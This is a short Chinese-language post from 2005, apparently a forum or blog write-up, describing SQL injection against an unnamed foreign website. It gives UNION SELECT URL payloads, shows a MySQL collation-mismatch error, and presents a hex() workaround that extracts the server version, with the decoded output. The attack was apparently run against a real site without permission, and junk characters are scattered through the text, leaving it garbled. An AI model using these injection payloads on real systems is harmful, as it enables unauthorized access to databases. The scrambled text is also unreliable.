本文作者:SuperHei
$ K) f$ I) N% P' A5 m5 j文章性质:原创+ p) ~6 F1 b0 \0 L+ B* v
发布日期:2005-10-18, f7 `8 h. w9 `( u) @: b2 M
测试个国外的站时:
* f8 S+ {; \! V# Q3 [* x" ]$ Wurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/* l1 \3 z4 z3 l
返回错误:: d( H9 U, T- a! s% Y9 m$ i
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'1 V" b2 F. K8 S" n$ |
MySQL Error No. 126
4 t6 ~4 Z0 {: \0 u看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
0 P( D( A; P" P1 y5 K$ u解决办法:转为其他编码如hex。) r7 `. h& X7 o' ^
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*) S4 ~+ A9 ]8 A6 _
成功得到hex(version())的值为:8 H: w# p N( f! O5 }9 L5 ]$ c
342E312E332D62657461" x3 S3 i* ?. j' a% W' m8 q
回Mysql查询下得到:
5 n5 B3 u+ |% T3 ?! tmysql> select 0x342E312E332D62657461;% T. t- H4 r( ~
+------------------------+- g2 Z( A% j' t9 l* ]5 }8 ]
| 0x342E312E332D62657461 |
6 k% d6 h; p* N( i0 K- z+------------------------+( x' R @4 D6 b0 Y, f* u+ J
| 4.1.3-beta |' [; y- F4 ~* c" ~
+------------------------+
1 _: V4 [" p/ O4 l$ t1 row in set (0.00 sec)$ @/ o( ~8 {3 D- Y2 E. v1 A
5 H1 B: _/ C& s' c' K |